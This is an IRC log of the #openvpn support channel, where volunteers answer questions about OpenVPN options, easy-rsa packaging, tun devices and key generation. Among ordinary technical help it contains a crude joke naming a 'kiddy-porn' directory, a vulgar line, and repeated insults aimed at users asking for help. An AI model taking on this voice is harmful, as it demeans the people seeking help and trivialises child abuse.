11:44 <+pekster> If the client uses --client or --pull, it will pull all the configs the server pushes
12:23 < electric-mind> when i use "replay-persist persist.txt" in my server config, persis.txt doesn't creates. What's the problem?
12:26 -!- MmikePoso [~mario@213.186.6.3] has quit [Quit: Leaving]
12:30 <+pekster> electric-mind: Did you see the manpage on that option? The last paragraph applies here, and I'm guessing you don't meet the requirements
12:31 < electric-mind> sure
12:31 <+pekster> On top of that, this options is pretty silly for a server unless you start/stop it frequently. Most people don't run openvpn out of an inetd wrapper
12:31 < electric-mind>   This option only makes sense when replay protection is enabled (the  default)  and
12:31 < electric-mind>               you  are  using  either  --secret (shared-secret key mode) or TLS mode with --tls-
12:31 < electric-mind>               auth.
12:31 <+pekster> So are you using --secret or --tls-auth ?
12:31 < electric-mind> yeap
12:31 < electric-mind> i use tls-auth
12:31 <+pekster> Check logs at --verb 4; it might not be able to write to that file
12:32 < electric-mind> nothing in the logs :(
12:32 <+pekster> At the same time, I don't really think that option does anything useful
12:32 <+pekster> Why do you want it? Are you actaully restarting your server instance this frequently?
12:32 < electric-mind> sometimes
12:33 < electric-mind> i do it
12:33 <+pekster> And actually, that file might only get written on instance shutdown/restart
12:33 <+pekster> (a client soft-restart is _not_ an instance shutdown
12:33 <+pekster> From the server's view anyway
12:34 < electric-mind> the best solution from you is to delete this option
12:34 <+pekster> Yup
12:34 < electric-mind> ok
12:34 <+pekster> Unless you're actually running out of inetd, which is generally not recommended either
12:34 <+pekster> If you're doing something like that I put you into the 'you're an expert and already know what you're doing' category
12:36 -!- maskedlua is now known as bored
12:36 -!- bored is now known as maskedlua
12:41 < electric-mind> so in my linux client, dns servers don't override. how to solve this? i use ' push "dhcp-option DNS 172.16.255.1"
12:41 < electric-mind> in my server config
12:43 <+pekster> Read: !pushdns
12:47 < electric-mind> !pushdns
12:47 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
12:48 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
13:09 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
13:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:32 -!- xBytez [~quassel@unaffiliated/xbytez] has quit [Quit: Updating QuasselClient + QuasselCore]
13:33 -!- hefe_bia [~hstock@mail.indurad.com] has quit [Quit: Ex-Chat]
13:36 -!- CatKiller [~catkiller@unaffiliated/catkiller] has quit [Ping timeout: 264 seconds]
13:36 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
13:39 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Ping timeout: 272 seconds]
13:39 -!- xBytez [~quassel@libxbytez.so] has joined #openvpn
13:40 -!- CatKiller [~catkiller@unaffiliated/catkiller] has joined #openvpn
13:42 -!- xBytez [~quassel@libxbytez.so] has quit [Read error: Connection reset by peer]
13:43 -!- Champi [Champi@rootshell.fr] has left #openvpn []
13:47 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
13:53 -!- mdev [~mdev@unaffiliated/mdev] has joined #openvpn
13:53 < mdev> ls
13:54 < mdev> since openvpn devs decided to ruin their openvpn package(thanks guys, appreciate it)
13:54 < mdev> how do I install it on ubuntu now
13:54 < mdev> they stipped out easy-rsa from the package which I downloaded seperate
13:54 < mdev> but has none of the source
13:54 < rob0> kiddy-porn/ goat-porn/ neighbor-wife-porn/
13:55 < mdev> rob0 go away
13:55 < mdev> with that disgusting talk :(
13:55 < rob0> wasn't me, it was YOUR ls command :)
13:58 < rob0> Anyway, easy-rsa does not belong in the openvpn package; it tends to lead people to do things the wrong way. You should install easy-rsa on a different machine off the VPN, even off the Internet if possible. The howto covers this.
13:59 < mdev> see that's the problem
13:59 < mdev> 99% of the tuts use that and based off that
13:59 < mdev> so the developers just stripping it out does NO one any favors
13:59 < rob0> s/install easy-rsa/install easy-rsa in a non-root $HOME directory/
13:59 < mdev> besides themselves
13:59 < rob0> Try the official howto. The rest of them are generally garbage.
13:59 < mdev> I may just have to downgrade my ubuntu os
14:00 < mdev> way too much hassle for 0 gain
14:00 < mdev> thanks again openvpn team
14:00 < rob0> wow. Have fun, then.
14:00 < mdev> yeah wow is right, wow to this ridiculous work around for no reason
14:00 <+pekster> mdev: wget and tar is too hard?
14:00 <+pekster> Really?!
14:01 <+pekster> Go bug your downstream distro if you'd like to see it "packaged" together
14:01 < rob0> This one lacks Clue, pekster. Also lacks the ability to listen.
14:01 < mdev> https://github.com/OpenVPN/easy-rsa/archive/master.zip doesn't have what old rsa had
14:01 <+pekster> So read the README?
14:01 <+pekster> FFS
14:01 <+pekster> Act like you can do 60 seconds of reading please
14:01 < mdev> OR stop breaking packages that so many rely on?
14:01 < rob0> You're not smart enough to run a secure VPN.
14:02 <+pekster> Yes, that. I'm sorry you are unable to read, but open-source software does not come with an SLA
14:02 < rob0> Did. You. Read. The. Howto.
14:02 <+pekster> If you need that kind of service, I suggest you find a contractor or vendor youc can pay for support.
14:02 <+pekster> When you download git-master code, you are by definition downloading the latest DEVELOPMENT code. Ref: git documentation for details
14:02 < mdev> ran one fine prior to this, see that's not even the issue, the issue is instead of making openvpn they break it and try and force users to change their setup to accomodate their fear of openvpn insecurity
14:03 < mdev> you know what would make openvpn secure? openvpn being secure.
14:03 <+pekster> "If you are looking for release downloads, please see the releases section on
14:03 <+pekster> GitHub. Releases are also available as source checkouts using named tags."
14:03 < mdev> not trying to dictate how people set it up or use their os
14:03 <+pekster> Please lrn 2 read, k?
14:03 < rob0> Troll elsewhere.
14:03 < mdev> that's original...
14:03 -!- mode/#openvpn [+o pekster] by ChanServ
14:03 < mdev> good choice?
14:03 <@pekster> Last warning.
14:03 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
14:04 < plaisthos> mdev: complain to your distri that they don't install easy-rsa with openvpn any longer
14:04 < mdev> it's not their fault it's openvpns, since they changed it
14:04 < mdev> i'll just downgrade and be done with it
14:04 <@pekster> We changed your distro's packaing mechanism? I doubt that
14:05 < mdev> the default distro package doesn't contain rsa like old versions I also grabbed the latest directly from openvpns repository and naturally it doesn't have it either
14:05 <@pekster> Then go yell at $distro
14:05 < mdev> why? it's the openvpn team who made these changes not them
14:05 <@pekster> This is not our problem. If Ubuntu or Debian or Redhat or whoever packages things poorly you need to open a bug on _their_ bug tracker
14:05 < mdev> older versions of openvpn are fine
14:06 <@pekster> Yes, code changes in point-releases. Get over it.
14:06 < mdev> it's not a bug it's a decision by openvpn to exclude rsa
14:06 < mdev> and make it a seperate download and change up the name of contents
14:06 < mdev> all for "security"
14:06 < rob0> Older packages encourage ignorant users to do it wrong. I can't help it if you fail to understand that.
14:06 -!- mdev was kicked from #openvpn by pekster [Come back when you're prepared to listen. We're trying to help point you to places to go to get your problem resolved.]
14:07 < rob0> :)
14:07 < rob0> I was getting close to doing that when you +o'ed.
14:07 -!- mode/#openvpn [-o pekster] by ChanServ
14:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
14:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
14:09 -!- mode/#openvpn [+o krzee] by ChanServ
14:12 -!- xBytez [~quassel@libxbytez.so] has joined #openvpn
14:12 -!- xBytez [~quassel@libxbytez.so] has quit [Read error: Connection reset by peer]
14:12 <+pekster> I suppose I should find the time at somepoint to add a wiki entry on 'why separate packages' -- things like unique version control, not needing to re-roll openvpn builds just becuase a new easy-rsa release is out, etc can go there
14:13 <+pekster> Volunteers to do so also welcome ;)
14:13 < rob0> the howto DOES mention it
14:13 < Aketzu_> but why people should be required to read manuals, it's so much work :)
14:13 <+pekster> Ah, nifty This said, my EasyRSA wiki entry serves as a landing page for 'how to do it in v3' since the howto is tied into the "Joomla" website crap
14:14 <+pekster> Aketzu_: Yes, exactly ;)
14:15 < rob0> okay, the howto is a bit indirect, "it is possible for the CA key (the most sensitive key in the entire PKI) to reside on a completely different machine, even one without a network connection." It implies that this is a good idea without really saying, "do it this way".
14:16 <+pekster> the !howto, or the EasyRSA wiki? Really we need to start moving away from the corp-maintained page for real info since most devs and active community members can't maintain that
14:16 < rob0> "... it's best to copy this directory to another location such as /etc/openvpn ..." oops.
14:17 < rob0> I am looking at the !howto
14:17 -!- xBytez [~quassel@libxbytez.so] has joined #openvpn
14:17 <+pekster> Ah, k. Feel free to beef up the page here so we can eventually just ask the "corp folks with access" to simply point to the FOSS-maintained page
14:18 <+pekster> erm, here: https://community.openvpn.net/openvpn/wiki/EasyRSA
14:18 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
14:18 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
14:18 <+pekster> I probably should nuke the 4 bulleted pages and just reference a release github tag; I should have time to do that tonight or tomorrow (some other work has stopped me from finalizing the windows release prep stuff)
14:23 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Ping timeout: 260 seconds]
14:26 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Read error: Connection reset by peer]
14:26 -!- xBytez [~quassel@libxbytez.so] has quit [Changing host]
14:26 -!- xBytez [~quassel@unaffiliated/xbytez] has joined #openvpn
14:26 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
14:34 -!- Champi [Champi@rootshell.fr] has joined #openvpn
14:35 -!- CatKiller [~catkiller@unaffiliated/catkiller] has quit [Ping timeout: 272 seconds]
14:42 -!- speed_racer81 [~speed_rac@172.56.7.122] has joined #openvpn
14:45 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Ping timeout: 252 seconds]
14:49 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
14:50 -!- maskedlua is now known as maskedidiot
14:50 -!- maskedidiot is now known as maskednibble
14:51 -!- maskednibble is now known as cgtdk
14:51 -!- cgtdk is now known as maskedlua
14:53 < dimm0k> now that i have openvpn server working properly, i have an issue where the connected windows 7 client identifies the openvpn connection as unidentified and leaves it public
14:56 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
14:57 -!- speed_racer81 [~speed_rac@172.56.7.122] has quit [Quit: Leaving]
14:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:59 <+pekster> dimm0k: That's a distro-centric problem; try ##windows or ##networking
15:04 < dimm0k> i was afraid you'd say that...  damn win7
15:06 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:10 < electric-mind> should i use --tls-exit ?
15:11 < electric-mind> will this options help to prevent MiM attacks
15:11 < electric-mind> ?
15:12 < electric-mind> *option
15:14 < electric-mind> and it doesn't clear, where i should use this option on the client or on the server or on both ?
15:20 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
15:20 -!- nadio [ice@unaffiliated/nadio] has joined #openvpn
15:20 < nadio> tunl0: flags=128<NOARP>  mtu 0
15:21 < nadio>  ifconfig tun10
15:21 < nadio> tun10: error fetching interface information: Device not found
15:21 < nadio> ifconfig tun10 up
15:21 < nadio> tun10: ERROR while getting interface flags: No such device
15:21 < nadio> what seems to go wrong here?
15:21 < rob0> tunlX is not tun
15:21 < nadio> ?
15:21 < rob0> wait... first you said tunl0 (ell zero) and then you said tun ten
15:21 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
15:22 < rob0> Attention to detail is very important.
15:22 < nadio>  ifconfig tun0
15:22 < nadio> tun0: error fetching interface information: Device not found
15:22 < nadio> ifconfig tun1
15:22 < nadio> tun1: error fetching interface information: Device not found
15:22 < nadio> I dont get it ?
15:22 < rob0> "modprobe -v tun"
15:22 < nadio> its built into the kernel
15:22 < rob0> assuming Linux, which it appears to be
15:23 < rob0> ah, bummer
15:23 < nadio> yes linux
15:23 < nadio> what?
15:23 < nadio> module & embedded issue ?
15:23 < rob0> I guess you'll have to rebuild your kernel and reboot ... this is what happens to folks who don't like modules
15:24 < nadio> I have no modules in my kernel, the option has been disabled.
15:24 < nadio> for security reasons.
15:24 < nadio> any hack around it ?
15:24 < rob0> ^^ rebuild your kernel and reboot
15:24 < nadio> with modules?
15:25 < nadio> if possible I would want to avoid modules
15:26 < rob0> Build in everything you need, and rebuild your kernel and reboot when you need something else later.
15:26 < rob0> have fun
15:26 < electric-mind> rob0: do you have any ideas ?
15:26 < nadio> rob0: but it works embedded also? everything should be there that is needed.
15:26 < rob0> Apparently tun is not there!
15:27 < nadio> CONFIG_TUN=y
15:27 < nadio>  cat .config | grep TUN=y
15:30 < rob0> So, if that's your actual config, I guess it is built in. What happened when you ran openvpn?
15:32 < nadio> /etc/init.d/openvpn start * Starting openvpn ... * start-stop-daemon: failed to start `/usr/sbin/openvpn' * Check your logs to see why startup failed
15:32 < nadio> cant find any log files so cant locate what the error is
15:33 < nadio> but I figured out if tun doesnt show up in ifconfig as active and up, it must be cause of the error
15:38 < rob0> I don't know, I have never tried tun except as a module; and no, there is no tunX interface before openvpn starts.
15:39 < nadio> how do I start it manualy not from init.d ?
15:39 < nadio> because at the moment it refuses to write any logs to /var/log/*
15:39 < rob0> you might want to learn more about your OS
15:40 -!- eth00 [~John@unaffiliated/eth00] has joined #openvpn
15:40 < rob0> Sure, you can run "openvpn [--options] /path/to/config/file" from a root shell.
15:41 < nadio> lets hope it doesnt wrong permissions, give it to much.
15:42 < nadio>  openvpn --options /etc/openvpn/openvpn.conf
15:42 < nadio> Options error: Unrecognized option or missing parameter(s) in [CMD-LINE]:1: options (2.3.2)
15:42 < nadio> nevermind --config worked
15:43 < nadio> ls
15:43 < nadio> sweet finaly I can work
15:43 < rob0> oh my. I had no idea that you would think I meant "[--options]" literally!
15:44 < nadio> no need to be a wise guy
15:45 < nadio> but thanks, I think I got it from here :)
15:45 < nadio> was working in blind.
15:45 < rob0> < nadio>  openvpn --options /etc/openvpn/openvpn.conf
15:45 < rob0> "openvpn [--options] /path/to/config/file"
15:45 < rob0> Have you ever looked in a man page?
15:46 < rob0> If not, you should not be developing embedded systems.
15:49 < nadio> just playing around
15:52 < rob0> BTW --config is optional. If you have just one argument, the config file, "openvpn /etc/openvpn/openvpn.conf" works.
15:53 < rob0> !man
15:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:55 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has quit [Ping timeout: 266 seconds]
16:10 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
16:46 -!- Haxxa- [~Harrison@162.243.39.102] has quit [Excess Flood]
16:48 -!- Hazza [~Harrison@162.243.39.102] has joined #openvpn
17:00 -!- billybigrigger [~billybigr@162.243.86.245] has quit [Ping timeout: 248 seconds]
17:23 -!- hirogen [~peeepp@05415245.skybroadband.com] has joined #openvpn
17:30 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
17:52 -!- hirogen [~peeepp@05415245.skybroadband.com] has quit [Ping timeout: 246 seconds]
18:02 -!- mattock_afk [~mattock@raidz.im] has quit [Ping timeout: 272 seconds]
18:02 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
18:03 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
18:06 -!- speed_racer81 [~speed_rac@172.56.7.122] has joined #openvpn
18:08 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
18:09 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Ping timeout: 265 seconds]
18:10 -!- debbie10t is now known as m10t
18:10 -!- m10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
18:14 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
18:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:36 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:39 <+pekster> electric-mind: in-channel please unless you have a need to contact me off-channel. Generic questions don't meet that definition
18:40 <+pekster> Just follow the !howto to get a working setup; there are many dozens of config options and you don't need to understand "them all" in order to use openvpn
18:42 < electric-mind> pekster: my vpn works fine, but i'd like to do secure and reliable config
18:42 <+pekster> !hardening
18:42 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
18:43 < electric-mind> i read this
18:43 -!- ma1com10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
18:44 < electric-mind> pekster: is mtu-desk usefull param?
18:44 < electric-mind> *mtu-disc
18:44 -!- sitaktif [~sitaktif@kollok.org] has quit [Quit: The Screen is dead, long live the screen!]
18:45 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
18:45 < electric-mind> i'd like to understand this params
18:45 < electric-mind> http://pastebin.com/037X5bAc
18:45 < electric-mind> who could help me ?
18:45 < ma1com10t> for testing.
18:46 < electric-mind> ma1com10t: ?
18:46 < ma1com10t> sup
18:46 <+pekster> path discovery is generally useful when the OS supports it and you might as well enable it unless it causes problems
18:46 <+pekster> --mtu-test is for testing; mtu-disc uses the standard practice of setting the DF IP header bit
18:47 <+pekster> wikipedia's description of IP is in order if you don't know how MTU Discovery and DF works
18:47 < electric-mind> it's clear, for linux just use mtu-disc maybe ?
18:48 -!- ma1com10t is now known as Slavery_is_bad
18:49 -!- Slavery_is_bad is now known as __whoopsie
18:49 < electric-mind> and itand what about dev-type, should i use it, if i set TUN ?
18:50 <+pekster> Have you even read that manpage option. Do what it tells you. "Use this option only if the TUN/TAP device used  with  --dev  does not begin with tun or tap."
18:50 <+pekster> So, you would use that option only if the TUN/TAP device used with --dev does not begin wtih tun or tap. I'm not sure how much more obvious it gets.
18:50 < __whoopsie> u could ram it up their ass
18:51 < electric-mind> ok, without
18:51 < __whoopsie> sorry
18:52 < electric-mind> ping-timer-rem could be helpfull?
18:55 <+pekster> That option is generally only useful when using `--mode p2p` as the listening end
18:55 <+pekster> ie: pointless if using a client or `--mode server`
18:56 < electric-mind> ok ok
18:56 <+pekster> Once again, the description starting with "Use this option if.." is pretty self-explanatory
18:56 < electric-mind> i used mode server
18:56 <+pekster> Yea, so the mode server treats each client connection as its own client-instance and timers apply to each client individually
18:57 < electric-mind> and  you don't want to start clocking timeouts until a remote peer connects.
18:57 < electric-mind> this part interested me..
18:58 <+pekster> Right, perhaps that description could be updated to note that it isn't necessary in `mode server`
18:58 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has joined #openvpn
18:58  * electric-mind looks like pekster is openvpn developer :)
18:59 < electric-mind> i also misunderstand --nobind option
18:59 <+pekster> It's good for clients; pointless on servers
19:00 < claudiop> Hi. I've successfully setup a vpn, set promiscious mode and set ipv4 ip forward, but i still cant route my traffic to the vpn. I connect it with success and no errors, but still picks my local route. What can i check?
19:00 <+pekster> My recommendation is to use it on all clients so they don't have issues running concurrent instances; the only exception is if you know a client has strict firewall needs (a local/site firewall) that requires a known source port in advance; this is quite rare
19:01 <+pekster> claudiop: Promisc mode is completely not required. What are you trying to do? Perhaps reading the /TOPIC, !goal, !welcome, and maybe !new are good starting points
19:02 < claudiop> pekster: Arch wiki told to do so :P Reading what? Please, not two miles pages full of 8px documentation :/
19:02  * __whoopsie 's crystal ball is alive with imagery...
19:04 <+pekster> We don't support unofficial wiki's
19:04 <+pekster> I'm not about to read it in order to figiure out what, if anything, is wrong
19:05 <+pekster> Go read the references you were given; I'm not going to play 20 questions tonight
19:05 <+pekster> Here's one to get you started claudiop:
19:05 <+pekster> !new
19:05 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
19:05 < electric-mind> and what about --tls-exit param
19:06  * __whoopsie 's
19:06 < electric-mind> i use tls and persist-tun both on client and server
19:06 <+pekster> electric-mind: Normally clients attempt a reconnect if there's a TLS auth/negotation problem; that option does like it says and exits intstead of the normal restart behaviour
19:06 < claudiop> pekster: I wasn't telling you to go read it to find some random mistake i did. I just asked, what to read (and if possible not absurdly long textes), because i dont know what is "!welcome", "!ask" and "!howto"
19:06 <+pekster> !welcome
19:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:06 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:06 <+pekster> !ask
19:06 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
19:06 <+pekster> !howto
19:06 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:07 <+pekster> claudiop: ^ each !thing is a bot command. They contain a lot of FAQs that people tend to ask that have failed to read the /TOPIC, much like you. We're usually very willing to help, but you need to ask well-formed questions. If you're new to IRC or don't know how, the reference after !ask can teach you
19:07 <+pekster> This concept is not unique to #openvpn; much of Freenode uses it, so you'd best get familiar with it if you plan to leverage this community for volunteer, free help
19:08 < claudiop> pekster: I've saw people doing such things but never knew what they meant :P Yes, im kind of new :D
19:08 <+pekster> We can probably update !new with that info then ;)
19:08 <+pekster> !new
19:08 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
19:09 < electric-mind> this option for resolving server from dns and try to save it --persist-local-ip ?
19:09 <+pekster> !learn new as You can type each of the !commands in this chat and our bot will provide useful references and info
19:09 <@vpnHelper> Joo got it.
19:09 < claudiop> pekster: But won't you guys also see them? Isn't considered flooding?
19:09 < __whoopsie> wee got it ;)
19:09 <+pekster> !factoids search msg
19:09 <@vpnHelper> "msg" is (#1) to see vpnHelper's factoids in msg instead of the channel, /msg vpnHelper factoids whatis #openvpn <key> or (#2) so to see !configs in msg, you would type /msg vpnHelper factoids whatis #openvpn configs
19:10 <+pekster> claudiop: ^ see that info, but you're welcome to use the commands in-channel; we don't mind
19:11 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
19:11 < claudiop> So i should send a PM to vpnHelper that is the chat bot and he answers the same way as does inside public chat? Ohh, i see. Thanks for your help
19:11 <+pekster> Yup, either way gives you the same info; use what you feel most comfortable with
19:14 < electric-mind> is option "persist-local-ip" usefull too?
19:15 <+pekster> not really; you might need some combination of the --persist* options when using either --user or --chroot
19:15 < electric-mind> i don't sure about saving port during the dynamic sessions...
19:15 <+pekster> It's almost always unwise to use any of those as a client
19:18 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has quit [Ping timeout: 245 seconds]
19:19 < electric-mind> should i use both on linux client and server client --mtu-disc yes
19:19 < electric-mind> or server is enough ?
19:20 < electric-mind> *linux server
19:20 <+pekster> As I said earlier, if your platform supports it, it's generally useful to do MTU-disc
19:20  * __whoopsie 's brain hurts
19:21 < electric-mind> ok, so for both...
19:23 < electric-mind> hm, might be interesting option
19:23 < electric-mind> http://forum.ipfire.org/index.php?topic=6673.0
19:23 <@vpnHelper> Title: Path MTU discovery for OpenVPN (at forum.ipfire.org)
19:23 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has joined #openvpn
19:25  * __whoopsie is reading the actual manual
19:27  * __whoopsie ctrl v https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
19:29 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has quit [Ping timeout: 246 seconds]
19:29 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has joined #openvpn
19:30 < electric-mind> i'm very sorry for my persistence, i'd like just to understand this service..
19:30 < electric-mind> __whoopsie: ok?
19:30 < __whoopsie> sure
19:31 < electric-mind> because i saw a lot of stupid copy-paste of sample config, and it's not a good idea..
19:32 < electric-mind> *seen
19:32 < __whoopsie> "a lot" = 1
19:36 -!- claudiop [~claudiop@a89-154-216-60.cpe.netcabo.pt] has quit [Ping timeout: 252 seconds]
19:43 -!- __whoopsie is now known as debbie10t
19:44 < debbie10t> just checkin in
19:45 < debbie10t> any pos/neg feedback would be appreciated
19:47 < debbie10t> i would say i have a little more riding on the marketing side that normal
19:47 < debbie10t> than*
19:48 < debbie10t> dont know dont ask is not sufficient
19:51 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has quit [Ping timeout: 265 seconds]
19:52 < debbie10t> freash . . .
19:55 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
19:58 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
20:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:02 -!- billybig1 [~billybigr@S0106602ad06f924c.cg.shawcable.net] has joined #openvpn
20:03 -!- ghost1235 [~speed_rac@172.56.14.75] has joined #openvpn
20:04 -!- speed_racer81 [~speed_rac@172.56.7.122] has quit [Ping timeout: 246 seconds]
20:12 -!- ghost1235 [~speed_rac@172.56.14.75] has quit [Ping timeout: 260 seconds]
20:18 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Read error: Connection reset by peer]
20:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
20:23 -!- Devastator_ [~devas@186.214.15.173] has quit [Read error: Connection reset by peer]
20:24 -!- Devastator [~devas@186.214.15.173] has joined #openvpn
20:24 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
20:30 -!- speed_racer84 [~speed_rac@172.56.14.75] has joined #openvpn
20:39 < electric-mind> should i use topology net30 in server conf
20:40 < electric-mind> or it use it by default or only [net30] used by default..?
20:40 <+pekster> Read the wiki info here:
20:40 <+pekster> !topology
20:40 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
20:41 < electric-mind> thx
20:41 < electric-mind> it's by default
20:42 < electric-mind> in 2.2.x
20:43 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:43 <+pekster> >=2.1.0 defaults to net30 as explained in that link
20:44 < electric-mind> yes, i'm talking about my version
20:44 -!- dimm0k_ [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has joined #openvpn
20:44 -!- dimm0k_ [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has quit [Changing host]
20:44 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:45 < electric-mind> how often openvpn updats config options, in every new branch build ?
20:45 <+pekster> Read the changelog
20:45 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has quit [Client Quit]
20:45 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Client Quit]
20:45 <+pekster> Like normal people interested in what changed
20:45 < electric-mind> :)
20:47 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:55 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
20:56 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
21:08 < electric-mind> so, i have done config for 2.2 version. if it possible give me advices how to clear it, improve security and reliability. And maybe this configs will be usefull for someone...
21:08 < electric-mind> http://pastebin.com/EuU25eVY
21:09 < electric-mind> thanks to everyone, especially pekster !
21:15 -!- Devastator [~devas@186.214.15.173] has quit [Changing host]
21:15 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:15 < electric-mind> everything is good ? :)
21:20 <+pekster> Read about !def1 to redirect-gateway. You should also use subnet topology unless you actually need spuport for the >7 year old 2.0.x clients
21:22 <+pekster> Otherwise yea, looks fine. You could harden slightly by using --tls-cipher on both ends, but the advantage over doing it on just one are somewhat limited
21:22 < electric-mind> pekster: i try to experiment with def1, but this option adds additional routes
21:22 <+pekster> Yes, and not using def1 is known to cause issues with the client's local DHCP renewals
21:22 <+pekster> YMMV
21:22 < electric-mind> i try to test, everything is fine
21:22 < electric-mind> under win and *nix
21:22 < electric-mind> *tried
21:22 <+pekster> It depends on local DHCP renewal times
21:23 <+pekster> If you flip a coin and you get 6 heads in a row, you would be foolish to assume you always get heads
21:23 < electric-mind> yeap
21:23 <+pekster> Renewals tend to wipe out the 0/0 route, which will break the support you expect. Again, YMMV
21:31 < billybig1> argh
21:32 < billybig1> to generate HMAC this is correct...openvpn --genkey --secret /root/easy-rsa/keys/ta.key
21:32 < billybig1> right?
21:32 < electric-mind> yeas
21:33 <+pekster> billybig1: HMAC is a special way to prepare a digest (hash) of a packet. You don't "generate it" yourself -- openvpn does. You use --genkey to generate the key for either PSK mode (--secret) or for use with --tls-auth
21:33 < billybig1> http://pastebin.ca/2484822
